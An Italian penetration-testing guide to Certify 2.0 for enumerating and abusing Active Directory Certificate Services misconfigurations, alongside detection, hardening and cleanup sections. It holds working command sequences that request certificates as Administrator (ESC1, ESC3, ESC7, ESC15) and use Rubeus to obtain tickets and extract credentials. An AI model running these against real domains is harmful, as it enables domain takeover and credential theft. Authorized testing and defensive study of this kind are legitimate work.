Certify 2.0: Guida Completa a AD CS Enumeration e Abuse da Windows #

Certify è il tool C# di GhostPack per enumerare e verificare configurazioni vulnerabili in Active Directory Certificate Services (AD CS) direttamente da Windows. La versione 2.0 usa i comandi enum-cas, enum-templates, request, request-agent, request-download, manage-ca e manage-template; identifica condizioni legate alle tecniche ESC1–ESC16 e restituisce i certificati in formato PFX Base64, utilizzabile direttamente con Rubeus.

È il complemento Windows-native di Certipy: Certify è ideale quando hai una sessione Windows nel dominio e vuoi analizzare AD CS senza installare Python, mentre Certipy rimane più comodo da Linux e per workflow come NTLM relay, autenticazione e Shadow Credentials.

Che cos’è Certify e a cosa serve? #

Certify è uno strumento C# sviluppato da SpecterOps come parte del progetto GhostPack. Interroga Active Directory via LDAP, enumera Certificate Authority e certificate template, evidenzia configurazioni pericolose e può inviare richieste di certificato alla CA.

Per capire il suo ruolo servono quattro concetti:

• AD CS: l’infrastruttura PKI di Microsoft usata per emettere e gestire certificati nel dominio.
• Certificate Authority (CA): il server che approva, firma ed emette i certificati.
• Certificate template: l’oggetto Active Directory che stabilisce chi può richiedere un certificato, per quale identità e con quali utilizzi.
• PKINIT: il meccanismo Kerberos che permette di ottenere un TGT usando un certificato invece della password.

Una misconfiguration può quindi trasformare un normale diritto di enrollment in un percorso di privilege escalation: il certificato emesso dalla CA è una credenziale valida e può consentire l’autenticazione come un altro account.

Per la panoramica completa delle tecniche consulta AD CS ESC1–ESC16 e la guida agli EKU e OID di AD CS.

Certify 1.x e Certify 2.0: non mescolare le sintassi #

Molte cheat sheet online mostrano ancora la sintassi del 2021. Certify 2.0 ha rinominato i comandi, separato azioni prima accorpate e aggiunto filtri per ESC più recenti.

Nota importante: i parametri legacy /username e /password presenti in alcune guide non fanno parte della command reference ufficiale di Certify 2.0. --target-user serve a classificare le vulnerabilità rispetto ai gruppi di un altro account, ma non autentica Certify come quell’utente.

Requisiti e compilazione #

SpecterOps non pubblica binari ufficiali. Il repository va compilato dal sorgente con Visual Studio.

git clone https://github.com/GhostPack/Certify
cd Certify

# Apri Certify.sln con Visual Studio 2022
# Configuration: Release
# Build Solution

Il progetto è compilato per .NET Framework 4.7.2. Prima dell’esecuzione verifica:

# Contesto utente
whoami
whoami /groups

# Dominio e controller individuato dalla sessione
$env:USERDNSDOMAIN
nltest /dsgetdc:$env:USERDNSDOMAIN

# Connettività LDAP e RPC Endpoint Mapper
Test-NetConnection dc01.corp.local -Port 389
Test-NetConnection ca01.corp.local -Port 135

L’enumerazione normalmente non richiede privilegi amministrativi: è sufficiente un account di dominio che possa leggere gli oggetti PKI. Le richieste e le operazioni di gestione dipendono invece dai diritti di enrollment, dalle ACL dei template e dai ruoli delegati sulla CA.

Cheat sheet Certify 2.0 #

Workflow di enumerazione AD CS #

1. Individuare Certificate Authority e servizi esposti #

.\Certify.exe enum-cas --hide-admins

Per ridurre l’output alle CA che Certify classifica come vulnerabili:

.\Certify.exe enum-cas --filter-vulnerable --hide-admins

Campi da leggere con attenzione:

• FullName: formato richiesto da --ca, ad esempio CA01.corp.local\CORP-CA.
• User Specifies SAN: indica la configurazione CA collegata a ESC6.
• RPC Request Encryption: rilevante per ESC11.
• Disabled Extensions: può rivelare ESC16.
• CA Permissions: cerca ManageCA, ManageCertificates o enrollment concessi a gruppi troppo ampi.
• Enrollment Agent Restrictions: assenza o configurazione debole aumenta il rischio ESC3.

Per una CA specifica:

.\Certify.exe enum-cas --ca "CA01.corp.local\CORP-CA" --show-all-perms

2. Cercare template pubblicati e vulnerabili #

Il comando più importante per il triage iniziale è:

.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --hide-admins

--filter-enabled è fondamentale: senza questo filtro Certify 2.0 mostra anche template presenti in Active Directory ma non pubblicati da alcuna CA, quindi non richiedibili in quel momento.

Per classificare i risultati in base ai gruppi effettivi dell’account corrente:

.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --current-user `
  --hide-admins

Per valutare un account compromesso senza cambiare il contesto di esecuzione:

.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --target-user svc_backup `
  --hide-admins

--target-user modifica soltanto il calcolo delle permission e delle vulnerabilità mostrate: non usa le credenziali dell’account indicato.

3. Filtri mirati per ridurre il rumore #

# Template che permettono autenticazione via certificato
.\Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins

# Template che consentono al richiedente di specificare il subject/SAN
.\Certify.exe enum-templates --filter-enabled --filter-supply-subject --hide-admins

# Intersezione utile per individuare condizioni simili a ESC1
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-client-auth `
  --filter-supply-subject `
  --hide-admins

# Template utilizzabili per richieste firmate da Enrollment Agent
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-request-agent `
  --hide-admins

# Template che richiedono Manager Approval
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-manager-approval

Per l’analisi completa di un singolo template:

.\Certify.exe enum-templates `
  --template VulnTemplate `
  --show-all-perms

4. Enumerare PKI object e issuance policy #

ESC13 e altre catene dipendono da Enterprise OID collegati a gruppi del dominio. Certify 2.0 include un comando dedicato:

.\Certify.exe enum-pkiobjects --show-linked-oids

Controlla soprattutto:

• Enterprise OID collegati a gruppi privilegiati;
• ACL modificabili da utenti non privilegiati;
• oggetti PKI con WriteProperty, WriteDacl, WriteOwner o ownership anomala.

Approfondimento: ESC13 tramite Issuance Policy OID.

Come leggere l’output di un template #

Non fermarti alla riga Vulnerabilities. Verifica manualmente i campi che compongono il percorso di attacco.

Gli EKU più importanti per l’autenticazione sono:

Client Authentication          1.3.6.1.5.5.7.3.2
PKINIT Client Authentication   1.3.6.1.5.2.3.4
Smart Card Logon               1.3.6.1.4.1.311.20.2.2
Any Purpose                    2.5.29.37.0
Subordinate CA                 nessun EKU
Certificate Request Agent      1.3.6.1.4.1.311.20.2.1

ESC1 con Certify 2.0 #

ESC1 richiede generalmente:

1. diritto di enrollment sulla CA;
2. diritto di enrollment sul template;
3. Manager Approval disabilitato;
4. nessuna firma autorizzata richiesta;
5. EKU valido per l’autenticazione;
6. possibilità per il richiedente di specificare subject o SAN.

Enumeration #

.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --current-user `
  --hide-admins

Richiesta del certificato #

Negli ambienti moderni non basta sempre indicare soltanto l’UPN. La Strong Certificate Mapping introdotta da Microsoft verifica il SID associato al certificato; dopo gli aggiornamenti del 2025 gli ambienti aggiornati devono essere considerati in full enforcement.

# Recupera il SID del target in un test autorizzato
Get-ADUser Administrator -Properties objectSid |
  Select-Object SamAccountName, objectSid

# Richiesta ESC1 con UPN e SID
.\Certify.exe request `
  --ca "CA01.corp.local\CORP-CA" `
  --template VulnTemplate `
  --upn Administrator `
  --sid S-1-5-21-111111111-222222222-333333333-500

Certify 2.0 restituisce un blocco Certificate (PFX) codificato Base64. Non è necessario passare da OpenSSL, salvo richiesta esplicita di output legacy con --output-pem.

Approfondimento: ESC1 AD CS.

ESC3: Enrollment Agent e richiesta on-behalf-of #

ESC3 sfrutta un template con EKU Certificate Request Agent. Il flusso prevede due certificati distinti.

1. Trovare e richiedere l’Enrollment Agent certificate #

.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --hide-admins

.\Certify.exe request `
  --ca "CA01.corp.local\CORP-CA" `
  --template EnrollmentAgentTemplate

Salva il PFX Base64 prodotto dal comando.

2. Trovare un template accettabile per on-behalf-of #

.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-request-agent `
  --hide-admins

3. Richiedere il certificato per il target #

.\Certify.exe request-agent `
  --ca "CA01.corp.local\CORP-CA" `
  --template User `
  --target "CORP\Administrator" `
  --agent-pfx <BASE64_PFX_AGENT>

Se il PFX dell’Enrollment Agent è protetto da password, aggiungi:

--agent-pass 'PasswordPFX'

Approfondimento sugli EKU: AD CS EKU e OID.

ESC4 e ESC7: ACL di template e CA #

ESC4 — Template modificabile #

ESC4 esiste quando un principal non privilegiato possiede diritti come:

• Owner o Full Control;
• WriteProperty;
• WriteOwner;
• WriteDacl.

Enumeration:

.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --show-all-perms

Certify 2.0 include manage-template per gestire impostazioni e ACL durante test controllati:

# Mostra le opzioni disponibili prima di modificare qualsiasi oggetto
.\Certify.exe manage-template --help

# Esempi di parametri supportati:
# --supply-subject
# --client-auth
# --manager-approval
# --authorized-signatures
# --enroll <SID>
# --write-dacl <SID>

Le modifiche ai template devono essere concordate prima del test, documentate e ripristinate subito dopo la prova. Per un workflow completo e reversibile consulta ESC4 AD CS Template Hijacking.

ESC7 — Ruoli delegati sulla CA #

.\Certify.exe enum-cas `
  --filter-vulnerable `
  --hide-admins

Cerca soprattutto:

• ManageCA;
• ManageCertificates;
• owner o ACL anomale sulla CA.

Certify 2.0 può gestire template pubblicati, ruoli e richieste pending tramite manage-ca. Esempio di verifica e download di una richiesta già autorizzata nel test:

# Help completo
.\Certify.exe manage-ca --help

# Emissione di una richiesta tramite Request ID
.\Certify.exe manage-ca `
  --ca "CA01.corp.local\CORP-CA" `
  --issue-id 42

# Download con la private key prodotta dalla richiesta originale
.\Certify.exe request-download `
  --ca "CA01.corp.local\CORP-CA" `
  --id 42 `
  --private-key <BASE64_PRIVATE_KEY>

Approfondimento: ESC7 Manage CA.

ESC6, ESC9, ESC15 ed ESC16 nel 2026 #

La Strong Certificate Mapping ha cambiato l’efficacia di alcune tecniche. Non trattare più ogni SAN arbitrario come escalation automatica.

• ESC6: il flag CA EDITF_ATTRIBUTESUBJECTALTNAME2 consente SAN arbitrari, ma da solo non è normalmente sufficiente in un dominio aggiornato perché la CA inserisce il SID del richiedente.
• ESC9: il template ha NO_SECURITY_EXTENSION e omette il SID security extension.
• ESC16: la CA disabilita globalmente l’estensione SID 1.3.6.1.4.1.311.25.2.
• ESC15 / EKUwu: interessa template schema v1 vulnerabili a injection di application policy; Microsoft ha corretto CVE-2024-49019 nel novembre 2024.

Enumeration:

# CA vulnerabili: ESC6, ESC7, ESC11, ESC16 e altre condizioni
.\Certify.exe enum-cas --filter-vulnerable --hide-admins

# Template vulnerabili: ESC1-4, ESC9, ESC13, ESC15 e altre condizioni
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --hide-admins

Per ESC15 in un laboratorio non aggiornato, Certify 2.0 supporta --application-policy:

.\Certify.exe request `
  --ca "CA01.corp.local\CORP-CA" `
  --template WebServer `
  --upn Administrator `
  --sid S-1-5-21-111111111-222222222-333333333-500 `
  --application-policy 1.3.6.1.5.5.7.3.2

Approfondimenti:

• ESC6 AD CS
• ESC9 AD CS
• ESC16 AD CS

Usare il PFX Base64 con Rubeus #

Certify 2.0 stampa il certificato in un formato direttamente accettato da Rubeus.

Rubeus.exe asktgt `
  /user:Administrator `
  /domain:corp.local `
  /dc:DC01.corp.local `
  /certificate:<BASE64_PFX> `
  /enctype:aes256 `
  /ptt `
  /nowrap

Per verificare la possibilità di estrarre le credential data tramite U2U nel contesto autorizzato:

Rubeus.exe asktgt `
  /user:Administrator `
  /domain:corp.local `
  /dc:DC01.corp.local `
  /certificate:<BASE64_PFX> `
  /enctype:aes256 `
  /getcredentials `
  /show `
  /nowrap

Controlla i ticket della sessione:

klist

Da qui il percorso dipende dai privilegi dell’identità ottenuta. Le guide correlate sono Rubeus, DCSync e Golden Ticket.

Output PEM e conversione manuale: solo per compatibilità #

L’output predefinito di Certify 2.0 è PFX Base64. Usa --output-pem soltanto se un tool successivo richiede il formato legacy.

.\Certify.exe request `
  --ca "CA01.corp.local\CORP-CA" `
  --template User `
  --output-pem

Conversione PEM → PFX:

openssl pkcs12 \
  -in cert.pem \
  -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export \
  -out cert.pfx

Con password:

openssl pkcs12 \
  -in cert.pem \
  -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export \
  -out cert.pfx \
  -passout pass:'PasswordPFX'

Certify vs Certipy: quale usare? #

Usa Certify quando:

• hai già una shell Windows nel dominio;
• vuoi enumerazione e richieste certificate-native senza Python;
• vuoi PFX Base64 direttamente utilizzabile con Rubeus;
• devi analizzare ACL e configurazioni PKI dal contesto Windows corrente.

Usa Certipy quando:

• operi da Kali/Linux;
• devi eseguire relay verso endpoint HTTP o RPC;
• vuoi un unico tool per find, req, auth, relay, shadow e forge.

Detection: come rilevare Certify e l’abuso di AD CS #

La detection efficace non deve dipendere soltanto dal nome Certify.exe. Il segnale più affidabile è la correlazione tra:

1. enumeration o modifica degli oggetti PKI;
2. richiesta ed emissione del certificato;
3. autenticazione Kerberos tramite certificato;
4. identità, template o SAN incompatibili con il comportamento normale.

Abilitare l’auditing sulla CA #

In una configurazione difensiva, abilita la subcategory Audit Certification Services per Success e Failure, quindi configura l’audit filter della CA:

certutil -setreg CA\AuditFilter 127
Restart-Service certsvc

Raccogli almeno i Security Event Log della CA e dei Domain Controller nel SIEM.

Event ID principali #

5136 richiede una SACL adeguata sugli oggetti da monitorare. Per i certificate template controlla modifiche a:

pKIExtendedKeyUsage
msPKI-Certificate-Name-Flag
msPKI-Enrollment-Flag
msPKI-RA-Signature
msPKI-Certificate-Application-Policy
nTSecurityDescriptor

Triage rapido con PowerShell #

# Eventi AD CS sulla CA
Get-WinEvent -FilterHashtable @{
  LogName = 'Security'
  Id      = 4882,4885,4886,4887,4888,4889,4890,4891,4898,4899,4900
} | Select-Object TimeCreated, Id, MachineName, Message

# PKINIT/certificate authentication sui DC
Get-WinEvent -FilterHashtable @{
  LogName = 'Security'
  Id      = 4768
} | Where-Object {
  $_.Message -match 'Certificate Thumbprint:\s+\S'
} | Select-Object TimeCreated, MachineName, Message

Correlazioni ad alta priorità #

Genera un alert quando:

• un account standard richiede un certificato il cui subject, SAN o UPN indica un account privilegiato;
• un template con Client Authentication viene usato da un principal che normalmente non lo richiede;
• un evento 4899, 4900 o 5136 è seguito entro pochi minuti da 4886/4887;
• ManageCA o ManageCertificates vengono assegnati e subito dopo una richiesta pending viene emessa;
• un 4887 è seguito da un 4768 con certificate thumbprint/serial riconducibile allo stesso certificato;
• vengono emessi certificati con validità anomala, Any Purpose, Subordinate CA o Certificate Request Agent;
• un endpoint utente genera un volume insolito di query LDAP verso CN=Public Key Services,CN=Services,CN=Configuration.

Limite importante: 4886 e 4887 da soli possono essere molto rumorosi. La detection deve usare una baseline dei template, dei richiedenti abituali e delle identità autorizzate.

Hardening e mitigazioni #

• Rimuovi Enroll e Autoenroll da Authenticated Users, Domain Users ed Everyone quando non strettamente necessario.
• Abilita Manager Approval o authorized signatures sui template sensibili.
• Elimina ENROLLEE_SUPPLIES_SUBJECT dai template con EKU di autenticazione se non richiesto.
• Rimuovi Any Purpose, Subordinate CA e Certificate Request Agent dai template accessibili a gruppi ampi.
• Proteggi ACL e ownership dei template; tratta WriteProperty, WriteDacl, WriteOwner e GenericAll come privilegi Tier 0.
• Limita ManageCA e ManageCertificates a gruppi dedicati e monitorati.
• Mantieni i Domain Controller aggiornati e non indebolire Strong Certificate Mapping.
• Verifica che l’estensione SID 1.3.6.1.4.1.311.25.2 non sia disabilitata su template o CA.
• Per Web Enrollment e CES/CEP usa HTTPS, Extended Protection for Authentication e restrizioni NTLM.
• Abilita CA auditing, Directory Service Changes e centralizza gli eventi nel SIEM.
• Esegui audit periodici con Certify, Certipy, PSPKIAudit e Microsoft Defender for Identity.

Microsoft Defender for Identity include security posture assessment specifici per ESC1, ESC3, ESC4, ESC7 ed endpoint AD CS esposti.

Troubleshooting #

Certify non trova nessuna CA #

Verifica dominio, DNS e LDAP:

nltest /dsgetdc:corp.local
Resolve-DnsName _ldap._tcp.dc._msdcs.corp.local
Test-NetConnection DC01.corp.local -Port 389

.\Certify.exe enum-cas `
  --domain corp.local `
  --ldap-server DC01.corp.local

Il template esiste ma non appare con --filter-enabled #

Il template è presente in Active Directory ma non è pubblicato da nessuna CA. Rimuovi temporaneamente il filtro per confermare:

.\Certify.exe enum-templates --template NomeTemplate

Controlla il campo Enabled e Publishing CAs.

--filter-vulnerable non mostra un template atteso #

Il filtro predefinito classifica le vulnerabilità rispetto a gruppi built-in a basso privilegio. Prova il contesto reale:

.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --current-user `
  --show-all-perms

La richiesta resta pending #

Salva:

• Request ID;
• private key Base64 prodotta dalla richiesta;
• nome della CA;
• template usato.

Dopo l’approvazione autorizzata:

.\Certify.exe request-download `
  --ca "CA01.corp.local\CORP-CA" `
  --id 42 `
  --private-key <BASE64_PRIVATE_KEY>

Rubeus non autentica con il certificato #

Controlla:

• UPN e SID presenti nel certificato;
• EKU di autenticazione;
• trust della CA in NTAuthCertificates;
• supporto PKINIT sul DC;
• DNS e sincronizzazione oraria;
• Strong Certificate Mapping;
• revoca e validità del certificato.

w32tm /query /status
klist purge
certutil -dump cert.pfx

FAQ #

Certify 2.0 supporta ESC1–ESC16? #

Certify 2.0 enumera template, CA e oggetti PKI necessari a identificare le condizioni delle tecniche ESC1–ESC16 e include funzionalità per richieste, gestione di template/CA, renewal e forge. Non sostituisce però tutti gli strumenti della catena: per NTLM relay ESC8/ESC11 serve un relay tool, mentre per l’autenticazione PKINIT si usa normalmente Rubeus.

Certify richiede privilegi amministrativi? #

No per la normale enumerazione LDAP. Un utente di dominio può spesso leggere CA, template e ACL. Le richieste di certificato richiedono diritti di enrollment; manage-template, manage-ca e operazioni equivalenti richiedono ACL o ruoli specifici.

Certify funziona da una macchina non joinata al dominio? #

Certify usa il security context Windows corrente e la command reference 2.0 non offre parametri generici --username/--password per l’autenticazione LDAP e CA. Da un host non joinato sono necessari un contesto di dominio valido, DNS corretto e connettività verso LDAP e RPC; in pratica è più affidabile eseguirlo da una sessione Windows già autenticata nel dominio.

Qual è la differenza tra --current-user e --target-user? #

--current-user valuta enrollment e ACL rispetto ai gruppi annidati dell’utente che sta eseguendo Certify. --target-user calcola la vulnerabilità rispetto ai gruppi di un altro account, ma non cambia l’identità usata per le richieste.

Perché non devo più convertire sempre PEM in PFX? #

Certify 2.0 restituisce per impostazione predefinita un PFX codificato Base64, direttamente accettato da Rubeus. --output-pem mantiene il vecchio comportamento solo per compatibilità.

ESC6 è ancora sufficiente per ottenere Domain Admin? #

In un ambiente aggiornato con Strong Certificate Mapping, generalmente no. La CA inserisce il SID del richiedente, quindi il SAN arbitrario non basta. ESC6 può tornare sfruttabile in combinazione con ESC9, ESC16 o weak mapping specifici.

Quali campi devo controllare per confermare ESC1? #

Enabled: True, CA e template enrollment rights per il principal, Manager Approval disabilitato, zero authorized signatures, EKU valido per authentication e ENROLLEE_SUPPLIES_SUBJECT.

Certify può fare NTLM relay? #

No: enumera la configurazione rilevante per ESC8/ESC11, ma non è un listener/relay framework. Per il relay si usano strumenti come Certipy o ntlmrelayx in un test autorizzato.

Quali eventi indicano un possibile abuso AD CS? #

I segnali principali sono 4886/4887 per richiesta ed emissione, 4768 con certificate information per PKINIT, 4899/4900 e 5136 per modifiche ai template, 4882/4890/4891 per cambi di ruoli e configurazione della CA.

Checklist operativa #

PREPARAZIONE
[ ] Confermato scope e autorizzazione per richieste/modifiche AD CS
[ ] Identificati dominio, DC e CA
[ ] Verificata connettività LDAP e RPC
[ ] Compilata la versione corrente di Certify dal repository ufficiale

ENUMERAZIONE
[ ] enum-cas --filter-vulnerable --hide-admins
[ ] enum-templates --filter-enabled --filter-vulnerable --current-user
[ ] enum-templates --show-all-perms sui template sospetti
[ ] enum-pkiobjects --show-linked-oids
[ ] Verificati EKU, SAN, SID extension, approval, signatures e ACL

VALIDAZIONE
[ ] Confermato che il template è pubblicato
[ ] Confermati enrollment rights su CA e template
[ ] Valutata Strong Certificate Mapping
[ ] Salvati Request ID, private key e PFX
[ ] Testato il certificato soltanto entro lo scope autorizzato

DETECTION
[ ] Audit Certification Services abilitato
[ ] CA AuditFilter configurato
[ ] Eventi 4882, 4885-4891, 4898-4900 raccolti
[ ] Eventi 4768 e 5136 raccolti sui DC
[ ] Correlazione emissione certificato → PKINIT configurata nel SIEM

RIPRISTINO
[ ] Ripristinate eventuali modifiche a template e CA
[ ] Revocati i certificati emessi per il test
[ ] Pubblicata CRL aggiornata se necessario
[ ] Conservate evidenze e Request ID nel report

Conclusione #

Certify 2.0 non è più soltanto il vecchio find /vulnerable. È un toolkit Windows-native per analizzare l’intera superficie AD CS: CA, template, ACL, issuance policy, Strong Certificate Mapping, richieste on-behalf-of e gestione controllata degli oggetti PKI.

Il workflow corretto è:

1. enum-cas per capire quali CA esistono e come sono configurate;
2. enum-templates per isolare template pubblicati, vulnerabili e realmente utilizzabili dal principal;
3. verifica manuale di EKU, SAN, SID extension, approval, firme e ACL;
4. request o request-agent soltanto dopo aver confermato i prerequisiti;
5. autenticazione con Rubeus e correlazione difensiva tra 4887 e 4768;
6. ripristino, revoca e documentazione delle modifiche eseguite durante il test.

Per i workflow Linux, relay e autenticazione integrata continua con Certipy. Per l’intero attack surface consulta AD CS ESC1–ESC16.

Risorse #

• GhostPack Certify — repository ufficiale
• SpecterOps — Certify 2.0
• SpecterOps — Certify Command Overview
• SpecterOps — Certified Pre-Owned
• Microsoft — KB5014754 Strong Certificate Mapping
• Microsoft — Audit Certification Services
• HackTricks — AD CS Domain Escalation
• The Hacker Recipes — AD CS
• Hacking Articles — AD Certificate Exploitation ESC1

Uso autorizzato: i comandi di questa guida devono essere eseguiti esclusivamente in laboratori, CTF o penetration test con autorizzazione esplicita.